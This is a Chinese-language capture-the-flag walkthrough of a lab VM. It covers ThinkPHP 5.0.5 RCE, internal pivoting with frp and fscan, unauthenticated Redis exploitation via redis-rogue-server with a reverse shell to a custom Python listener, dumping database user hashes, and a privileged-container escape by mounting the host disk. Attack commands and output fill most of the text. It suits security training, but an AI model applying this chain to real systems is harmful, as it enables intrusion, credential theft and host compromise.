web打点
靶机扫描
┌──(root㉿kali)-[~]
└─# nmap -sS 192.168.1.39 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2025-07-12 01:46 EDT
Nmap scan report for 192.168.1.39
Host is up (0.00080s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:BD:44:E0 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.44 seconds
开了22 和 80
报错页面发现是ThinkPHP V5.0.5， 直接rce getshell
内网横向
fscan -h 172.19.0.0/24 -np
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.0
[2025-07-12 14:17:09] [INFO] 暴力破解线程数: 1
[2025-07-12 14:17:09] [INFO] 开始信息扫描
[2025-07-12 14:17:09] [INFO] CIDR范围: 172.19.0.0-172.19.0.255
[2025-07-12 14:17:09] [INFO] 生成IP范围: 172.19.0.0.%!d(string=172.19.0.255) - %!s(MISSING).%!d(MISSING)
[2025-07-12 14:17:09] [INFO] 解析CIDR 172.19.0.0/24 -> IP范围 172.19.0.0-172.19.0.255
[2025-07-12 14:17:09] [INFO] 最终有效主机数量: 256
[2025-07-12 14:17:09] [INFO] 开始主机扫描
[2025-07-12 14:17:09] [INFO] 有效端口数量: 233
[2025-07-12 14:17:21] [SUCCESS] 端口开放 172.19.0.1:22
[2025-07-12 14:17:21] [SUCCESS] 服务识别 172.19.0.1:22 => [ssh] 版本:8.4p1 Debian 5+deb11u3 产品:OpenSSH 系统:Linux 信息:protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3.]
[2025-07-12 14:17:45] [SUCCESS] 端口开放 172.19.0.3:80
[2025-07-12 14:17:50] [SUCCESS] 服务识别 172.19.0.3:80 => [http] 版本:1.18.0 产品:nginx
[2025-07-12 14:29:31] [SUCCESS] 端口开放 172.19.0.2:6379
[2025-07-12 14:29:36] [SUCCESS] 服务识别 172.19.0.2:6379 => [redis] 版本:5.0.14 产品:Redis key-value store
fscan扫描内网 ,发现了172.19.0.2:6379跑了个redis
传个frp，开个socks代理，尝试连接redis
┌──(root㉿kali)-[~]
└─# proxychains4 -q redis-cli -h 172.19.0.2 -p 6379
172.19.0.2:6379> info
# Server
redis_version:5.0.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:82e99d45f54e2614
redis_mode:standalone
os:Linux 4.19.0-27-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:1
run_id:e88d7ed01f6f98ec6aacd23601cf3eb1ab6cc8df
tcp_port:6379
uptime_in_seconds:1231
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:7500446
executable:/data/redis-server
config_file:
# Clients
connected_clients:1
client_recent_max_input_buffer:4
client_recent_max_output_buffer:4100800
blocked_clients:0
# Memory
used_memory:854176
used_memory_human:834.16K
used_memory_rss:12750848
used_memory_rss_human:12.16M
used_memory_peak:4953952
used_memory_peak_human:4.72M
used_memory_peak_perc:17.24%
used_memory_overhead:840974
used_memory_startup:791280
used_memory_dataset:13202
used_memory_dataset_perc:20.99%
allocator_allocated:1424312
allocator_active:1716224
allocator_resident:8458240
total_system_memory:2092433408
total_system_memory_human:1.95G
used_memory_lua:37888
used_memory_lua_human:37.00K
used_memory_scripts:0
used_memory_scripts_human:0B
number_of_cached_scripts:0
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.20
allocator_frag_bytes:291912
allocator_rss_ratio:4.93
allocator_rss_bytes:6742016
rss_overhead_ratio:1.51
rss_overhead_bytes:4292608
mem_fragmentation_ratio:15.70
mem_fragmentation_bytes:11938672
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:49694
mem_aof_buffer:0
mem_allocator:jemalloc-5.1.0
active_defrag_running:0
lazyfree_pending_objects:0
# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1752329680
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0
# Stats
total_connections_received:2
total_commands_processed:3
instantaneous_ops_per_sec:0
total_net_input_bytes:72
total_net_output_bytes:14801
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
# Replication
role:master
connected_slaves:0
master_replid:20ebee4cf286daa409471774f86ee700d032f99f
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:0.697228
used_cpu_user:0.911468
used_cpu_sys_children:0.000000
used_cpu_user_children:0.001602
# Cluster
cluster_enabled:0
# Keyspace
redis未授权，尝试各种写马姿势弹shell都不行，和bamuwe交流得知 redis主机不出网
可以将攻击机的端口映射到内网，也可以将内网端口映射出来
web主机上有python3的环境，直接传一个简易的nc上去
import socket
import threading
import sys
def recv_thread(conn):
try:
while True:
data = conn.recv(4096)
if not data:
print("\nConnection closed by client.")
break
print(data.decode(errors='ignore'), end='', flush=True)
except Exception as e:
print(f"\nReceive error: {e}")
finally:
conn.close()
sys.exit(0)
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <listen_port>")
sys.exit(1)
listen_port = int(sys.argv[1])
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', listen_port))
server.listen(1)
print(f"Listening on 0.0.0.0:{listen_port} ...")
conn, addr = server.accept()
print(f"Connection from {addr[0]}:{addr[1]} established!")
t = threading.Thread(target=recv_thread, args=(conn,), daemon=True)
t.start()
try:
while True:
cmd = sys.stdin.readline()
if not cmd:
break
conn.sendall(cmd.encode())
except KeyboardInterrupt:
print("\nUser interrupted.")
finally:
conn.close()
server.close()
if __name__ == "__main__":
main()
https://github.com/n0b0dyCN/redis-rogue-server
使用这个工具直接一把梭
2025/07/12 10:59:33 CMD: UID=33 PID=760 | ./pspy64
2025/07/12 10:59:33 CMD: UID=33 PID=704 | /bin/bash
2025/07/12 10:59:33 CMD: UID=33 PID=703 | python3 -c import pty;pty.spawn('/bin/bash')
2025/07/12 10:59:33 CMD: UID=33 PID=697 | sh -i
2025/07/12 10:59:33 CMD: UID=33 PID=693 | sh -c uname -a; w; id; sh -i
2025/07/12 10:59:33 CMD: UID=33 PID=692 | md5sum
2025/07/12 10:59:33 CMD: UID=33 PID=472 | /bin/bash
2025/07/12 10:59:33 CMD: UID=33 PID=471 | python3 -c import pty;pty.spawn('/bin/bash')
2025/07/12 10:59:33 CMD: UID=33 PID=470 | php-fpm: pool www
2025/07/12 10:59:33 CMD: UID=33 PID=469 | sh -i
2025/07/12 10:59:33 CMD: UID=33 PID=465 | sh -c uname -a; w; id; sh -i
2025/07/12 10:59:33 CMD: UID=33 PID=403 | php-fpm: pool www
2025/07/12 10:59:33 CMD: UID=33 PID=32 | ./frpc -c frps.ini
2025/07/12 10:59:33 CMD: UID=33 PID=30 | /bin/bash
2025/07/12 10:59:33 CMD: UID=33 PID=29 | python3 -c import pty;pty.spawn('/bin/bash')
2025/07/12 10:59:33 CMD: UID=33 PID=28 | sh -i
2025/07/12 10:59:33 CMD: UID=33 PID=24 | sh -c uname -a; w; id; sh -i
2025/07/12 10:59:33 CMD: UID=33 PID=15 | php-fpm: pool www
2025/07/12 10:59:33 CMD: UID=33 PID=14 | php-fpm: pool www
2025/07/12 10:59:33 CMD: UID=33 PID=9 | nginx: worker process
2025/07/12 10:59:33 CMD: UID=0 PID=8 | php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
2025/07/12 10:59:33 CMD: UID=0 PID=7 | nginx: master process /usr/sbin/nginx -g daemon off;
2025/07/12 10:59:33 CMD: UID=101 PID=6 | /usr/sbin/mariadbd
2025/07/12 10:59:33 CMD: UID=0 PID=1 | /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisord.conf
2025/07/12 11:00:01 CMD: UID=0 PID=768 | runc init
2025/07/12 11:00:01 CMD: UID=0 PID=773 | rm -fv /var/www/html/exp.so 要注意服务器会定时删除so后缀的文件，将exp.so名称成一个没有后缀的文件就行
www-data@0bb9bcb43160:/tmp$ python3 1.py --rhost 172.19.0.2 --lhost 172.19.0.3
< python3 1.py --rhost 172.19.0.2 --lhost 172.19.0.3
______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
[info] TARGET 172.19.0.2:6379
[info] SERVER 172.19.0.3:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: r
r
[info] Open reverse shell...
Reverse server address: 172.19.0.3
172.19.0.3
Reverse server port: 5555
5555
[info] Reverse shell payload sent.
[info] Check at 172.19.0.3:5555
[info] Unload module...
$ python3 s.py
Usage: s.py <listen_port>
$ python3 s.py 5555
id
Listening on 0.0.0.0:5555 ...
Connection from 172.19.0.2:56334 established!
uid=999(redis) gid=999(redis) groups=999(redis)成获取redis权限
cat /opt/user.txt
flag{user-4f6311d4cf5776f0316c2f1b6526a653}提权
根据bamuwe的提示，查看web主机的数据库
www-data@0bb9bcb43160:/tmp$ mysql -uroot -proot
mysql -uroot -proot
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 7
Server version: 10.5.29-MariaDB-0+deb11u1 Debian 11
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| hnymwl_com_utf8 |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.000 sec)
MariaDB [(none)]> use hnymwl_com_utf8;
use hnymwl_com_utf8;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [hnymwl_com_utf8]> show tables;
show tables;
+---------------------------+
| Tables_in_hnymwl_com_utf8 |
+---------------------------+
| codepay_order |
| codepay_user |
| sdad3135 |
| wp_allot |
| wp_area |
| wp_balance |
| wp_bankcard |
| wp_bankinfo |
| wp_banks |
| wp_cardinfo |
| wp_catproduct |
| wp_conf |
| wp_config |
| wp_gg |
| wp_integral |
| wp_klinedata |
| wp_newsclass |
| wp_newsinfo |
| wp_opentime |
| wp_order |
| wp_order_log |
| wp_payment |
| wp_price_log |
| wp_productclass |
| wp_productdata |
| wp_productinfo |
| wp_refundlog |
| wp_risk |
| wp_usercode |
| wp_userinfo |
| wp_webconfig |
| wp_wechat |
+---------------------------+
32 rows in set (0.001 sec)
MariaDB [hnymwl_com_utf8]> select * from wp_userinfo;
select * from wp_userinfo;
+------+-------------+----------------------------------+-------------+------------+-----------+-------+---------+---------+---------+----------+------------+-------------+---------+--------+--------+-----------+----------+--------+--------+-----------+------------+-----------+-----------+----------+
| uid | username | upwd | utel | utime | agenttype | otype | ustatus | oid | address | portrait | lastlog | managername | comname | comqua | rebate | feerebate | usertype | wxtype | openid | nickname | logintime | usermoney | userpoint | minprice |
+------+-------------+----------------------------------+-------------+------------+-----------+-------+---------+---------+---------+----------+------------+-------------+---------+--------+--------+-----------+----------+--------+--------+-----------+------------+-----------+-----------+----------+
| 1 | admin | 35a6b91de813873ca887f5d9b681d180 | | 1480061674 | 2 | 3 | 0 | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | 0 | 0 | 0 | NULL | admin | NULL | 0.00 | NULL | NULL |
| 5632 | 10005632 | 18aed8d2a11896a6e76180b3d87e64bb | 123456 | 1592404993 | 0 | 0 | 0 | 1 | NULL | NULL | 1597391565 | admin | NULL | NULL | NULL | 0 | 0 | 0 | NULL | www | 1597391565 | 11670.00 | NULL | NULL |
| 5634 | 18888888888 | cf9c0c4996398526203b25d179b60aad | 18888888888 | 1592469112 | 0 | 0 | 0 | 666 | NULL | NULL | 1751965186 | AN | NULL | NULL | NULL | 0 | 0 | 0 | NULL | 小可爱 | 1751965186 | 680278.00 | NULL | NULL |
| 5635 | 10005635 | f9fb7dcf1f8af5b50235be3cbccf90ee | 19216813711 | 1752205841 | 0 | 0 | 0 | dashazi | NULL | NULL | 1752205841 | whatcanisay | NULL | NULL | NULL | 0 | 0 | 0 | NULL | root | 1752205841 | 0.00 | NULL | NULL |
| 5636 | 10005636 | cafc17ccad5b7523338f81ab912c2750 | 13333333333 | 1752296822 | 0 | 0 | 0 | 1 | NULL | NULL | 1752296822 | NULL | NULL | NULL | NULL | 0 | 0 | 0 | NULL | test | 1752296822 | 0.00 | NULL | NULL |
+------+-------------+----------------------------------+-------------+------------+-----------+-------+---------+---------+---------+----------+------------+-------------+---------+--------+--------+-----------+----------+--------+--------+-----------+------------+-----------+-----------+----------+
5 rows in set (0.000 sec)
MariaDB [hnymwl_com_utf8]>
在wp_userinfo表中发现了一个root的密码，将web代码脱下来审计，查看密码加密方式
public function login()
{
$userinfo = Db::name('userinfo');
//判断是否已经登录
if (isset($_SESSION['uid'])) {
$this->redirect('index/index?token='.$this->token);
}
if(iswechat() && 1==2){
//微信浏览器 微信登录
if(cookie('wx_info')){
$wx_info = cookie('wx_info');
$data['openid'] = $wx_info['openid'];
$checkuser = Db::name('userinfo')->where($data)->value('uid');
//判断是否已经注册
if($checkuser){ //已经注册直接記錄session
$_SESSION['uid'] = $checkuser;
//更新登录时间
$t_data['logintime'] = $t_data['lastlog'] = time();
$t_data['uid'] = $checkuser;
$userinfo->update($t_data);
$this->redirect('index/index');
}else{ //未注册 则注册 默认密碼为123456
$data['nickname'] = $wx_info['nickname'];
$data['utime'] = time();
//$data['upwd'] = md5('123456'.$data['utime']);
$data['otype'] = 0;
$data['ustatus'] = 0;
$data['address'] = $wx_info['country'].$wx_info['province'].$wx_info['city'];
$data['portrait'] = $wx_info['headimgurl'];
if(isset($_SESSION['fid']) && $_SESSION['fid']>0){
$fid = $_SESSION['fid'];
$fid_info = $userinfo->where(array('uid'=>$fid,'otype'=>101))->value('uid');
if($fid_info){
$data['oid'] = $fid;
}
}
//插入数据
$ids = $userinfo->insertGetId($data);
$newdata['uid'] = $ids;
$newdata['username'] = 10000000+$ids;
$newids = $userinfo->update($newdata);
//清除cookie 为了安全
cookie('wx_info', null);
//記錄session
$_SESSION['uid'] = $ids;
//更新登录时间
$t_data['logintime'] = $t_data['lastlog'] = time();
$t_data['uid'] = $ids;
$userinfo->update($t_data);
$this->redirect('login/addpwd?token='.$this->token);
}
}else{
$this->redirect('wechat/get_wx_userinfo');
}
}else{
//web用戶登录请求
if(input('post.')){
$data = input('post.');
//验证用戶信息
if(!isset($data['username']) || empty($data['username'])){
return WPreturn('请输入用戶名！',-1);
}
if(!isset($data['upwd']) || empty($data['upwd'])){
return WPreturn('请输入密碼！',-1);
}
//查询用戶
$result = $userinfo
->where('username',$data['username'])->whereOr('nickname',$data['username'])->whereOr('utel',$data['username'])
->field("uid,upwd,username,utel,utime,otype,ustatus")->find();
//验证用戶
if(empty($result)){
return WPreturn('登录失败,用戶名不存在!',-1);
}else{
if(!in_array($result['otype'], array(0,101))){ //非客户无权登录
return WPreturn('您无权登录!',-1);
}
if($result['upwd'] == md5($data['upwd'].$result['utime'])){
if ($result['ustatus']==0)
{
$_SESSION['uid'] = $result['uid'];
//更新登录时间
$t_data['logintime'] = $t_data['lastlog'] = time();
$t_data['uid'] = $result['uid'];
$userinfo->update($t_data);
return WPreturn('登录成功!',1);
}elseif($result['ustatus']==1){
return WPreturn('登录失败,您的账户暂时被冻结!',-1);
}else{
return WPreturn('登录失败,用戶名不存在!',-1);
}
}
else{
return WPreturn('登录失败,密碼错误!',-1);
}
}
}
return $this->fetch();
}加密密码是 md5(pass+时间戳)
可以写脚本爆破，也可以不写，群里直接提示了 密码是managername字段下的whatcanisay
登录到redis主机的root
cat /proc/self/status |grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000猜测这应该是个特权容器
ls /dev/ | grep sda
sda
sda1
sda2
sda5
mount /dev/sda1 /mnt
cd /mnt
ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
cd root
ls
root.txt
cat root.txt
flag{root-6dbfaf239023f6da6ed2ffc59d3bcea5}
将sda1挂载上，发现这就是主机的目录，成功逃逸